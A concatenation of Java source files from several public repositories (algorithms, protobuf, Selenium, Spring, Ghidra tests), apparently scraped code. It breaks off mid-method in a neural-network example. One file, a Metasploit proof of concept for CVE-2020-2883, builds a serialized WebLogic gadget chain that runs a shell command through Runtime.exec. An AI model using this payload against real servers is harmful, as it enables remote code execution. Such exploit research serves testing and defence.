* To be called by user to obtain instance of the class.
*
* @return instance of the singleton.
*/
public static IvoryTower getInstance() {
return INSTANCE;
}
}
| smedals/java-design-patterns | singleton/src/main/java/com/iluwatar/singleton/IvoryTower.java |
1,300 | // Given two non-negative integers num1 and num2 represented as strings, return the product of num1 and num2.
// Note:
// The length of both num1 and num2 is < 110.
// Both num1 and num2 contains only digits 0-9.
// Both num1 and num2 does not contain any leading zero.
// You must not use any built-in BigInteger library or convert the inputs to integer directly.
public class MultiplyStrings {
public String multiply(String num1, String num2) {
int m = num1.length();
int n = num2.length();
int[] pos = new int[m + n];
for(int i = m - 1; i >= 0; i--) {
for(int j = n - 1; j >= 0; j--) {
int mul = (num1.charAt(i) - '0') * (num2.charAt(j) - '0');
int p1 = i + j;
int p2 = i + j + 1;
int sum = mul + pos[p2];
pos[p1] += sum / 10;
pos[p2] = (sum) % 10;
}
}
StringBuilder sb = new StringBuilder();
for(int p : pos) {
if(!(sb.length() == 0 && p == 0)) {
sb.append(p);
}
}
return sb.length() == 0 ? "0" : sb.toString();
}
}
| kdn251/interviews | company/facebook/MultiplyStrings.java |
1,308 | // Protocol Buffers - Google's data interchange format
// Copyright 2008 Google Inc. All rights reserved.
//
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file or at
// https://developers.google.com/open-source/licenses/bsd
package com.google.protobuf;
import com.google.protobuf.ArrayDecoders.Registers;
import java.io.IOException;
/**
* A runtime schema for a single protobuf message. A schema provides operations on message instances
* such as serialization/deserialization.
*/
@ExperimentalApi
@CheckReturnValue
interface Schema<T> {
/** Writes the given message to the target {@link Writer}. */
void writeTo(T message, Writer writer) throws IOException;
/**
* Reads fields from the given {@link Reader} and merges them into the message. It doesn't make
* the message immutable after parsing is done. To make the message immutable, use {@link
* #makeImmutable}.
*/
void mergeFrom(T message, Reader reader, ExtensionRegistryLite extensionRegistry)
throws IOException;
/**
* Like the above but parses from a byte[] without extensions. Entry point of fast path. Note that
* this method may throw IndexOutOfBoundsException if the input data is not valid protobuf wire
* format. Protobuf public API methods should catch and convert that exception to
* InvalidProtocolBufferException.
*/
void mergeFrom(T message, byte[] data, int position, int limit, Registers registers)
throws IOException;
/** Marks repeated/map/extension/unknown fields as immutable. */
void makeImmutable(T message);
/** Checks whether all required fields are set. */
boolean isInitialized(T message);
/** Creates a new instance of the message class. */
T newInstance();
/** Determine of the two messages are equal. */
boolean equals(T message, T other);
/** Compute a hashCode for the message. */
int hashCode(T message);
/**
* Merge values from {@code other} into {@code message}. This method doesn't make the message
* immutable. To make the message immutable after merging, use {@link #makeImmutable}.
*/
void mergeFrom(T message, T other);
/** Compute the serialized size of the message. */
int getSerializedSize(T message);
}
| protocolbuffers/protobuf | java/core/src/main/java/com/google/protobuf/Schema.java |
1,312 | // Licensed to the Software Freedom Conservancy (SFC) under one
// or more contributor license agreements. See the NOTICE file
// distributed with this work for additional information
// regarding copyright ownership. The SFC licenses this file
// to you under the Apache License, Version 2.0 (the
// "License"); you may not use this file except in compliance
// with the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing,
// software distributed under the License is distributed on an
// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// KIND, either express or implied. See the License for the
// specific language governing permissions and limitations
// under the License.
package org.openqa.selenium.io;
import java.io.BufferedOutputStream;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.Base64;
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;
import java.util.zip.ZipOutputStream;
public class Zip {
private static final int BUF_SIZE = 16384; // "big"
public static String zip(File input) throws IOException {
try (ByteArrayOutputStream bos = new ByteArrayOutputStream()) {
try (ZipOutputStream zos = new ZipOutputStream(bos)) {
if (input.isDirectory()) {
addToZip(input.getAbsolutePath(), zos, input);
} else {
addToZip(input.getParentFile().getAbsolutePath(), zos, input);
}
}
return Base64.getEncoder().encodeToString(bos.toByteArray());
}
}
private static void addToZip(String basePath, ZipOutputStream zos, File toAdd)
throws IOException {
if (toAdd.isDirectory()) {
File[] files = toAdd.listFiles();
if (files != null) {
for (File file : files) {
addToZip(basePath, zos, file);
}
}
} else {
try (FileInputStream fis = new FileInputStream(toAdd)) {
String name = toAdd.getAbsolutePath().substring(basePath.length() + 1);
ZipEntry entry = new ZipEntry(name.replace('\\', '/'));
zos.putNextEntry(entry);
int len;
byte[] buffer = new byte[4096];
while ((len = fis.read(buffer)) != -1) {
zos.write(buffer, 0, len);
}
zos.closeEntry();
}
}
}
public static File unzipToTempDir(String source, String prefix, String suffix)
throws IOException {
File output = TemporaryFilesystem.getDefaultTmpFS().createTempDir(prefix, suffix);
Zip.unzip(source, output);
return output;
}
public static void unzip(String source, File outputDir) throws IOException {
byte[] bytes = Base64.getMimeDecoder().decode(source);
try (ByteArrayInputStream bis = new ByteArrayInputStream(bytes)) {
unzip(bis, outputDir);
}
}
public static File unzipToTempDir(InputStream source, String prefix, String suffix)
throws IOException {
File output = TemporaryFilesystem.getDefaultTmpFS().createTempDir(prefix, suffix);
Zip.unzip(source, output);
return output;
}
public static void unzip(InputStream source, File outputDir) throws IOException {
try (ZipInputStream zis = new ZipInputStream(source)) {
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null) {
File file = new File(outputDir, entry.getName());
if (entry.isDirectory()) {
FileHandler.createDir(file);
continue;
}
unzipFile(outputDir, zis, entry.getName());
}
}
}
public static void unzipFile(File output, InputStream zipStream, String name) throws IOException {
String canonicalDestinationDirPath = output.getCanonicalPath();
File toWrite = new File(output, name);
String canonicalDestinationFile = toWrite.getCanonicalPath();
if (!canonicalDestinationFile.startsWith(canonicalDestinationDirPath + File.separator)) {
throw new IOException("Entry is outside of the target dir: " + name);
}
if (!FileHandler.createDir(toWrite.getParentFile()))
throw new IOException("Cannot create parent directory for: " + name);
try (OutputStream out = new BufferedOutputStream(new FileOutputStream(toWrite), BUF_SIZE)) {
byte[] buffer = new byte[BUF_SIZE];
int read;
while ((read = zipStream.read(buffer)) != -1) {
out.write(buffer, 0, read);
}
}
}
}
| SeleniumHQ/selenium | java/src/org/openqa/selenium/io/Zip.java |
1,314 | /*
* Copyright 2002-2024 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.util;
import java.util.AbstractMap;
import java.util.Map;
import java.util.Set;
import java.util.function.Predicate;
import org.springframework.lang.Nullable;
/**
* Map that filters out values that do not match a predicate.
* This type is used by {@link CompositeMap}.
* @author Arjen Poutsma
* @since 6.2
* @param <K> the type of keys maintained by this map
* @param <V> the type of mapped values
*/
final class FilteredMap<K, V> extends AbstractMap<K, V> {
private final Map<K, V> delegate;
private final Predicate<K> filter;
public FilteredMap(Map<K, V> delegate, Predicate<K> filter) {
Assert.notNull(delegate, "Delegate must not be null");
Assert.notNull(filter, "Filter must not be null");
this.delegate = delegate;
this.filter = filter;
}
@Override
public Set<Entry<K, V>> entrySet() {
return new FilteredSet<>(this.delegate.entrySet(), entry -> this.filter.test(entry.getKey()));
}
@Override
public int size() {
int size = 0;
for (K k : keySet()) {
if (this.filter.test(k)) {
size++;
}
}
return size;
}
@Override
@SuppressWarnings("unchecked")
public boolean containsKey(Object key) {
if (this.delegate.containsKey(key)) {
return this.filter.test((K) key);
}
else {
return false;
}
}
@Override
@SuppressWarnings("unchecked")
@Nullable
public V get(Object key) {
V value = this.delegate.get(key);
if (value != null && this.filter.test((K) key)) {
return value;
}
else {
return null;
}
}
@Override
@Nullable
public V put(K key, V value) {
V oldValue = this.delegate.put(key, value);
if (oldValue != null && this.filter.test(key)) {
return oldValue;
}
else {
return null;
}
}
@Override
@SuppressWarnings("unchecked")
@Nullable
public V remove(Object key) {
V oldValue = this.delegate.remove(key);
if (oldValue != null && this.filter.test((K) key)) {
return oldValue;
}
else {
return null;
}
}
@Override
public void clear() {
this.delegate.clear();
}
@Override
public Set<K> keySet() {
return new FilteredSet<>(this.delegate.keySet(), this.filter);
}
}
| spring-projects/spring-framework | spring-core/src/main/java/org/springframework/util/FilteredMap.java |
1,315 | /* ###
* IP: GHIDRA
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import java.util.ArrayList;
class ArrayTests{
public Integer[] referenceArrayTest(Integer[] input){
Integer[] array = new Integer[2];
array[0] = input[0];
array[1] = input[1];
return array;
}
public int[][] primitiveMultiArrayTest(int[][] input){
int[][] array = new int[5][5];
array[0][1] = input[0][1];
array[1][0] = input[1][0];
array[2][4] = input[2][4];
array[4][2] = input[4][2];
return array;
}
public Integer[][][] referenceMultiArrayTest(Integer[][][] input){
Integer[][][] array = new Integer[2][2][2];
array[0][1][2] = input[0][1][2];
array[2][1][0] = input[2][1][0];
return array;
}
public Integer twoMultiAnewArrayCalls(){
Integer[][][][][] one = new Integer[1][2][3][4][5];
Integer[][][][][][] two = new Integer[1][2][3][4][5][6];
return one[1][2][3][4][5] + two[1][2][3][4][5][6];
}
public boolean[] booleanArrayTest(boolean[] input){
boolean[] array = new boolean[2];
array[0] = input[0];
array[1] = input[1];
return array;
}
public byte[] byteArrayTest(byte[] input){
byte[] array = new byte[2];
array[0] = input[0];
array[1] = input[1];
return array;
}
public char[] charArrayTest(char[] input){
char[] array = new char[2];
array[0] = input[0];
array[1] = input[1];
return array;
}
public short[] shortArrayTest(short[] input){
short[] array = new short[2];
array[0] = input[0];
array[1] = input[1];
return array;
}
public int[] intArrayTest(int[] input){
int[] array = new int[2];
array[0] = input[0];
array[1] = input[1];
return array;
}
public float[] floatArrayTest(float[] input){
float[] array = new float[2];
array[0] = input[0];
array[1] = input[1];
return array;
}
public long[] longArrayTest(long[] input){
long[] array = new long[2];
array[0] = input[0];
array[1] = input[1];
return array;
}
public double[] doubleArrayTest(double[] input){
double[] array = new double[2];
array[0] = input[0];
array[1] = input[1];
return array;
}
public Comparable[] comparableArrayTest(Comparable[] input){
Comparable[] array = new Comparable[2];
array[0] = input[0];
array[1] = input[1];
return array;
}
public void voidComparableArrayTest(Comparable[] input){
Comparable[] array = new Comparable[2];
array[0] = input[0];
array[1] = input[1];
}
public ArrayList<Comparable> comparableArrayListTest(Comparable[] input){
ArrayList<Comparable> array = new ArrayList<>();
array.add(input[0]);
array.add(input[1]);
return array;
}
public int[] zeroPrimitive(){
return new int[0];
}
public Integer[] zeroReference(){
return new Integer[0];
}
public Comparable[] zeroInterface(){
return new Comparable[0];
}
public Comparable[] dwarfTest(){
ArrayList<Comparable> arrayList = new ArrayList<>();
return comparableArrayTest(arrayList.toArray(new Comparable[0]));
}
public Comparable[] dwarfTest2(){
ArrayList<Comparable> arrayList = new ArrayList<>();
Comparable[] ret = comparableArrayTest(arrayList.toArray(new Comparable[0]));
Integer test = Integer.valueOf(3);
return ret;
}
public void referenceArrayNoUse(){
Integer[] array = new Integer[0];
}
public void passArrayToVoidFunc(){
voidComparableArrayTest(new Integer[0]);
}
public void primitiveNoUse(){
int[] array = new int[0];
}
public void noArray(){
Integer a = Integer.valueOf(0);
}
}
| NationalSecurityAgency/ghidra | Ghidra/Processors/JVM/resources/ArrayTests.java |
1,320 | /**
* File: my_heap.java
* Created Time: 2023-01-07
* Author: krahets ([email protected])
*/
package chapter_heap;
import utils.*;
import java.util.*;
/* 大顶堆 */
class MaxHeap {
// 使用列表而非数组,这样无须考虑扩容问题
private List<Integer> maxHeap;
/* 构造方法,根据输入列表建堆 */
public MaxHeap(List<Integer> nums) {
// 将列表元素原封不动添加进堆
maxHeap = new ArrayList<>(nums);
// 堆化除叶节点以外的其他所有节点
for (int i = parent(size() - 1); i >= 0; i--) {
siftDown(i);
}
}
/* 获取左子节点的索引 */
private int left(int i) {
return 2 * i + 1;
}
/* 获取右子节点的索引 */
private int right(int i) {
return 2 * i + 2;
}
/* 获取父节点的索引 */
private int parent(int i) {
return (i - 1) / 2; // 向下整除
}
/* 交换元素 */
private void swap(int i, int j) {
int tmp = maxHeap.get(i);
maxHeap.set(i, maxHeap.get(j));
maxHeap.set(j, tmp);
}
/* 获取堆大小 */
public int size() {
return maxHeap.size();
}
/* 判断堆是否为空 */
public boolean isEmpty() {
return size() == 0;
}
/* 访问堆顶元素 */
public int peek() {
return maxHeap.get(0);
}
/* 元素入堆 */
public void push(int val) {
// 添加节点
maxHeap.add(val);
// 从底至顶堆化
siftUp(size() - 1);
}
/* 从节点 i 开始,从底至顶堆化 */
private void siftUp(int i) {
while (true) {
// 获取节点 i 的父节点
int p = parent(i);
// 当“越过根节点”或“节点无须修复”时,结束堆化
if (p < 0 || maxHeap.get(i) <= maxHeap.get(p))
break;
// 交换两节点
swap(i, p);
// 循环向上堆化
i = p;
}
}
/* 元素出堆 */
public int pop() {
// 判空处理
if (isEmpty())
throw new IndexOutOfBoundsException();
// 交换根节点与最右叶节点(交换首元素与尾元素)
swap(0, size() - 1);
// 删除节点
int val = maxHeap.remove(size() - 1);
// 从顶至底堆化
siftDown(0);
// 返回堆顶元素
return val;
}
/* 从节点 i 开始,从顶至底堆化 */
private void siftDown(int i) {
while (true) {
// 判断节点 i, l, r 中值最大的节点,记为 ma
int l = left(i), r = right(i), ma = i;
if (l < size() && maxHeap.get(l) > maxHeap.get(ma))
ma = l;
if (r < size() && maxHeap.get(r) > maxHeap.get(ma))
ma = r;
// 若节点 i 最大或索引 l, r 越界,则无须继续堆化,跳出
if (ma == i)
break;
// 交换两节点
swap(i, ma);
// 循环向下堆化
i = ma;
}
}
/* 打印堆(二叉树) */
public void print() {
Queue<Integer> queue = new PriorityQueue<>((a, b) -> { return b - a; });
queue.addAll(maxHeap);
PrintUtil.printHeap(queue);
}
}
public class my_heap {
public static void main(String[] args) {
/* 初始化大顶堆 */
MaxHeap maxHeap = new MaxHeap(Arrays.asList(9, 8, 6, 6, 7, 5, 2, 1, 4, 3, 6, 2));
System.out.println("\n输入列表并建堆后");
maxHeap.print();
/* 获取堆顶元素 */
int peek = maxHeap.peek();
System.out.format("\n堆顶元素为 %d\n", peek);
/* 元素入堆 */
int val = 7;
maxHeap.push(val);
System.out.format("\n元素 %d 入堆后\n", val);
maxHeap.print();
/* 堆顶元素出堆 */
peek = maxHeap.pop();
System.out.format("\n堆顶元素 %d 出堆后\n", peek);
maxHeap.print();
/* 获取堆大小 */
int size = maxHeap.size();
System.out.format("\n堆元素数量为 %d\n", size);
/* 判断堆是否为空 */
boolean isEmpty = maxHeap.isEmpty();
System.out.format("\n堆是否为空 %b\n", isEmpty);
}
}
| krahets/hello-algo | codes/java/chapter_heap/my_heap.java |
1,321 | /*
* Copyright 2012-2024 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.boot.build.bom;
import java.util.List;
import java.util.Objects;
import java.util.Set;
import java.util.stream.Collectors;
import groovy.namespace.QName;
import groovy.util.Node;
import org.gradle.api.Plugin;
import org.gradle.api.Project;
import org.gradle.api.artifacts.Configuration;
import org.gradle.api.plugins.JavaPlatformExtension;
import org.gradle.api.plugins.JavaPlatformPlugin;
import org.gradle.api.plugins.PluginContainer;
import org.gradle.api.publish.PublishingExtension;
import org.gradle.api.publish.maven.MavenPom;
import org.gradle.api.publish.maven.MavenPublication;
import org.springframework.boot.build.DeployedPlugin;
import org.springframework.boot.build.MavenRepositoryPlugin;
import org.springframework.boot.build.bom.Library.Group;
import org.springframework.boot.build.bom.Library.Module;
import org.springframework.boot.build.bom.bomr.MoveToSnapshots;
import org.springframework.boot.build.bom.bomr.UpgradeBom;
/**
* {@link Plugin} for defining a bom. Dependencies are added as constraints in the
* {@code api} configuration. Imported boms are added as enforced platforms in the
* {@code api} configuration.
*
* @author Andy Wilkinson
*/
public class BomPlugin implements Plugin<Project> {
static final String API_ENFORCED_CONFIGURATION_NAME = "apiEnforced";
@Override
public void apply(Project project) {
PluginContainer plugins = project.getPlugins();
plugins.apply(DeployedPlugin.class);
plugins.apply(MavenRepositoryPlugin.class);
plugins.apply(JavaPlatformPlugin.class);
JavaPlatformExtension javaPlatform = project.getExtensions().getByType(JavaPlatformExtension.class);
javaPlatform.allowDependencies();
createApiEnforcedConfiguration(project);
BomExtension bom = project.getExtensions()
.create("bom", BomExtension.class, project.getDependencies(), project);
CheckBom checkBom = project.getTasks().create("bomrCheck", CheckBom.class, bom);
project.getTasks().named("check").configure((check) -> check.dependsOn(checkBom));
project.getTasks().create("bomrUpgrade", UpgradeBom.class, bom);
project.getTasks().create("moveToSnapshots", MoveToSnapshots.class, bom);
project.getTasks().register("checkLinks", CheckLinks.class, bom);
new PublishingCustomizer(project, bom).customize();
}
private void createApiEnforcedConfiguration(Project project) {
Configuration apiEnforced = project.getConfigurations()
.create(API_ENFORCED_CONFIGURATION_NAME, (configuration) -> {
configuration.setCanBeConsumed(false);
configuration.setCanBeResolved(false);
configuration.setVisible(false);
});
project.getConfigurations()
.getByName(JavaPlatformPlugin.ENFORCED_API_ELEMENTS_CONFIGURATION_NAME)
.extendsFrom(apiEnforced);
project.getConfigurations()
.getByName(JavaPlatformPlugin.ENFORCED_RUNTIME_ELEMENTS_CONFIGURATION_NAME)
.extendsFrom(apiEnforced);
}
private static final class PublishingCustomizer {
private final Project project;
private final BomExtension bom;
private PublishingCustomizer(Project project, BomExtension bom) {
this.project = project;
this.bom = bom;
}
private void customize() {
PublishingExtension publishing = this.project.getExtensions().getByType(PublishingExtension.class);
publishing.getPublications().withType(MavenPublication.class).all(this::configurePublication);
}
private void configurePublication(MavenPublication publication) {
publication.pom(this::customizePom);
}
@SuppressWarnings("unchecked")
private void customizePom(MavenPom pom) {
pom.withXml((xml) -> {
Node projectNode = xml.asNode();
Node properties = new Node(null, "properties");
this.bom.getProperties().forEach(properties::appendNode);
Node dependencyManagement = findChild(projectNode, "dependencyManagement");
if (dependencyManagement != null) {
addPropertiesBeforeDependencyManagement(projectNode, properties);
addClassifiedManagedDependencies(dependencyManagement);
replaceVersionsWithVersionPropertyReferences(dependencyManagement);
addExclusionsToManagedDependencies(dependencyManagement);
addTypesToManagedDependencies(dependencyManagement);
}
else {
projectNode.children().add(properties);
}
addPluginManagement(projectNode);
});
}
@SuppressWarnings("unchecked")
private void addPropertiesBeforeDependencyManagement(Node projectNode, Node properties) {
for (int i = 0; i < projectNode.children().size(); i++) {
if (isNodeWithName(projectNode.children().get(i), "dependencyManagement")) {
projectNode.children().add(i, properties);
break;
}
}
}
private void replaceVersionsWithVersionPropertyReferences(Node dependencyManagement) {
Node dependencies = findChild(dependencyManagement, "dependencies");
if (dependencies != null) {
for (Node dependency : findChildren(dependencies, "dependency")) {
String groupId = findChild(dependency, "groupId").text();
String artifactId = findChild(dependency, "artifactId").text();
Node classifierNode = findChild(dependency, "classifier");
String classifier = (classifierNode != null) ? classifierNode.text() : "";
String versionProperty = this.bom.getArtifactVersionProperty(groupId, artifactId, classifier);
if (versionProperty != null) {
findChild(dependency, "version").setValue("${" + versionProperty + "}");
}
}
}
}
private void addExclusionsToManagedDependencies(Node dependencyManagement) {
Node dependencies = findChild(dependencyManagement, "dependencies");
if (dependencies != null) {
for (Node dependency : findChildren(dependencies, "dependency")) {
String groupId = findChild(dependency, "groupId").text();
String artifactId = findChild(dependency, "artifactId").text();
this.bom.getLibraries()
.stream()
.flatMap((library) -> library.getGroups().stream())
.filter((group) -> group.getId().equals(groupId))
.flatMap((group) -> group.getModules().stream())
.filter((module) -> module.getName().equals(artifactId))
.flatMap((module) -> module.getExclusions().stream())
.forEach((exclusion) -> {
Node exclusions = findOrCreateNode(dependency, "exclusions");
Node node = new Node(exclusions, "exclusion");
node.appendNode("groupId", exclusion.getGroupId());
node.appendNode("artifactId", exclusion.getArtifactId());
});
}
}
}
private void addTypesToManagedDependencies(Node dependencyManagement) {
Node dependencies = findChild(dependencyManagement, "dependencies");
if (dependencies != null) {
for (Node dependency : findChildren(dependencies, "dependency")) {
String groupId = findChild(dependency, "groupId").text();
String artifactId = findChild(dependency, "artifactId").text();
Set<String> types = this.bom.getLibraries()
.stream()
.flatMap((library) -> library.getGroups().stream())
.filter((group) -> group.getId().equals(groupId))
.flatMap((group) -> group.getModules().stream())
.filter((module) -> module.getName().equals(artifactId))
.map(Module::getType)
.filter(Objects::nonNull)
.collect(Collectors.toSet());
if (types.size() > 1) {
throw new IllegalStateException(
"Multiple types for " + groupId + ":" + artifactId + ": " + types);
}
if (types.size() == 1) {
String type = types.iterator().next();
dependency.appendNode("type", type);
}
}
}
}
@SuppressWarnings("unchecked")
private void addClassifiedManagedDependencies(Node dependencyManagement) {
Node dependencies = findChild(dependencyManagement, "dependencies");
if (dependencies != null) {
for (Node dependency : findChildren(dependencies, "dependency")) {
String groupId = findChild(dependency, "groupId").text();
String artifactId = findChild(dependency, "artifactId").text();
String version = findChild(dependency, "version").text();
Set<String> classifiers = this.bom.getLibraries()
.stream()
.flatMap((library) -> library.getGroups().stream())
.filter((group) -> group.getId().equals(groupId))
.flatMap((group) -> group.getModules().stream())
.filter((module) -> module.getName().equals(artifactId))
.map(Module::getClassifier)
.filter(Objects::nonNull)
.collect(Collectors.toSet());
Node target = dependency;
for (String classifier : classifiers) {
if (!classifier.isEmpty()) {
if (target == null) {
target = new Node(null, "dependency");
target.appendNode("groupId", groupId);
target.appendNode("artifactId", artifactId);
target.appendNode("version", version);
int index = dependency.parent().children().indexOf(dependency);
dependency.parent().children().add(index + 1, target);
}
target.appendNode("classifier", classifier);
}
target = null;
}
}
}
}
private void addPluginManagement(Node projectNode) {
for (Library library : this.bom.getLibraries()) {
for (Group group : library.getGroups()) {
Node plugins = findOrCreateNode(projectNode, "build", "pluginManagement", "plugins");
for (String pluginName : group.getPlugins()) {
Node plugin = new Node(plugins, "plugin");
plugin.appendNode("groupId", group.getId());
plugin.appendNode("artifactId", pluginName);
String versionProperty = library.getVersionProperty();
String value = (versionProperty != null) ? "${" + versionProperty + "}"
: library.getVersion().getVersion().toString();
plugin.appendNode("version", value);
}
}
}
}
private Node findOrCreateNode(Node parent, String... path) {
Node current = parent;
for (String nodeName : path) {
Node child = findChild(current, nodeName);
if (child == null) {
child = new Node(current, nodeName);
}
current = child;
}
return current;
}
private Node findChild(Node parent, String name) {
for (Object child : parent.children()) {
if (child instanceof Node node) {
if ((node.name() instanceof QName qname) && name.equals(qname.getLocalPart())) {
return node;
}
if (name.equals(node.name())) {
return node;
}
}
}
return null;
}
@SuppressWarnings("unchecked")
private List<Node> findChildren(Node parent, String name) {
return parent.children().stream().filter((child) -> isNodeWithName(child, name)).toList();
}
private boolean isNodeWithName(Object candidate, String name) {
if (candidate instanceof Node node) {
if ((node.name() instanceof QName qname) && name.equals(qname.getLocalPart())) {
return true;
}
return name.equals(node.name());
}
return false;
}
}
}
| spring-projects/spring-boot | buildSrc/src/main/java/org/springframework/boot/build/bom/BomPlugin.java |
1,323 | import com.tangosol.coherence.reporter.extractor.ConstantExtractor;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.supeream.serial.Reflections;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.util.concurrent.Callable;
/*
* java.util.PriorityQueue.readObject()
* java.util.PriorityQueue.heapify()
* java.util.PriorityQueue.siftDown()
* java.util.PriorityQueue.siftDownUsingComparator()
* com.tangosol.util.extractor.AbstractExtractor.compare()
* com.tangosol.util.extractor.MultiExtractor.extract()
* com.tangosol.util.extractor.ChainedExtractor.extract()
* Method.invoke()
* Runtime.exec()
*
* PoC by Y4er
*/
public class Weblogic_2883
{
public static void main(String args[]) throws Exception
{
ReflectionExtractor extractor = new ReflectionExtractor("getMethod", new Object[]{ "getRuntime", new Class[0] });
ReflectionExtractor extractor2 = new ReflectionExtractor("invoke", new Object[]{ null, new Object[0] });
ReflectionExtractor extractor3 = new ReflectionExtractor("exec", new Object[]{ new String[]{ "/bin/sh", "-c", "touch /tmp/blah_ze_blah" } });
ValueExtractor extractors[] = { new ConstantExtractor(Runtime.class), extractor, extractor2, extractor3 };
ChainedExtractor chainedExt = new ChainedExtractor(extractors);
Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
reflectionExtractor
};
ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");
m_aExtractor.set(chainedExtractor1, valueExtractors);
Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = Runtime.class;
queueArray[1] = "1";
FileOutputStream fos = new FileOutputStream("payload_obj.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(queue);
os.close();
}
}
| rapid7/metasploit-framework | data/exploits/CVE-2020-2883/Weblogic_2883.java |
1,326 | package com.study.graph;
import java.util.LinkedList;
import java.util.Queue;
/**
* @author ldb
* @date 2019-10-23 15:10
*/
public class Graph {
private int v;
private LinkedList<Integer> adj[]; // 邻接表
public Graph(int v) {
this.v = v;
adj = new LinkedList[v];
for (int i = 0; i < v; ++i) {
adj[i] = new LinkedList<>();
}
}
/**
* 添加边
*
* @param s 顶点
* @param t 顶点
*/
public void addEdge(int s, int t) { // 无向图一条边存两次
adj[s].add(t);
adj[t].add(s);
}
public void bfs(int s, int t) {
if (s == t) return;
// visited是用来记录已经被访问的顶点,用来避免顶点被重复访问。
boolean[] visited = new boolean[v];
visited[s] = true;
// queue是一个队列,用来存储已经被访问、但相连的顶点还没有被访问的顶点。
Queue<Integer> queue = new LinkedList<>();
queue.add(s);
// prev用来记录搜索路径。
int[] prev = new int[v];
for (int i = 0; i < v; ++i) {
prev[i] = -1;
}
while (queue.size() != 0) {
int w = queue.poll();
for (int i = 0; i < adj[w].size(); ++i) {
int q = adj[w].get(i);
if (!visited[q]) {
prev[q] = w;
if (q == t) {
print(prev, s, t);
return;
}
visited[q] = true;
queue.add(q);
}
}
}
}
private void print(int[] prev, int s, int t) { // 递归打印 s->t 的路径
if (prev[t] != -1 && t != s) {
print(prev, s, prev[t]);
}
System.out.print(t + " ");
}
public static void main(String[] args) {
Graph graph = new Graph(8);
graph.addEdge(0,1);
graph.addEdge(0,3);
graph.addEdge(1,2);
graph.addEdge(1,4);
graph.addEdge(2,5);
graph.addEdge(4,5);
graph.addEdge(4,6);
graph.addEdge(5,7);
graph.addEdge(6,7);
// graph.bfs(0,6);
// 深度优先
graph.dfs(0, 6);
}
boolean found = false; // 全局变量或者类成员变量
public void dfs(int s, int t) {
found = false;
boolean[] visited = new boolean[v];
int[] prev = new int[v];
for (int i = 0; i < v; ++i) {
prev[i] = -1;
}
recurDfs(s, t, visited, prev);
print(prev, s, t);
}
private void recurDfs(int w, int t, boolean[] visited, int[] prev) {
if (found == true) return;
visited[w] = true;
if (w == t) {
found = true;
return;
}
for (int i = 0; i < adj[w].size(); ++i) {
int q = adj[w].get(i);
if (!visited[q]) {
prev[q] = w;
recurDfs(q, t, visited, prev);
}
}
}
}
| wangzheng0822/algo | java/30_graph/Graph.java |
1,329 | package neuroph;
import org.neuroph.core.Layer;
import org.neuroph.core.NeuralNetwork;
import org.neuroph.core.Neuron;
import org.neuroph.core.data.DataSet;
import org.neuroph.core.data.DataSetRow;
import org.neuroph.nnet.learning.BackPropagation;
import org.neuroph.util.ConnectionFactory;
import org.neuroph.util.NeuralNetworkType;
public class NeurophXOR {
public static NeuralNetwork assembleNeuralNetwork() {
Layer inputLayer = new Layer();
inputLayer.addNeuron(new Neuron());
inputLayer.addNeuron(new Neuron());
Layer hiddenLayerOne = new Layer();
hiddenLayerOne.addNeuron(new Neuron());
hiddenLayerOne.addNeuron(new Neuron());
hiddenLayerOne.addNeuron(new Neuron());
hiddenLayerOne.addNeuron(new Neuron());
Layer hiddenLayerTwo = new Layer();
hiddenLayerTwo.addNeuron(new Neuron());
hiddenLayerTwo.addNeuron(new Neuron());
hiddenLayerTwo.addNeuron(new Neuron());
hiddenLayerTwo.addNeuron(new Neuron());
Layer outputLayer = new Layer();
outputLayer.addNeuron(new Neuron());
NeuralNetwork ann = new NeuralNetwork();
ann.addLayer(0, inputLayer);
ann.addLayer(1, hiddenLayerOne);
ConnectionFactory.fullConnect(ann.getLayerAt(0), ann.getLayerAt(1));
ann.addLayer(2, hiddenLayerTwo);
ConnectionFactory.fullConnect(ann.getLayerAt(1), ann.getLayerAt(2));
ann.addLayer(3, outputLayer);
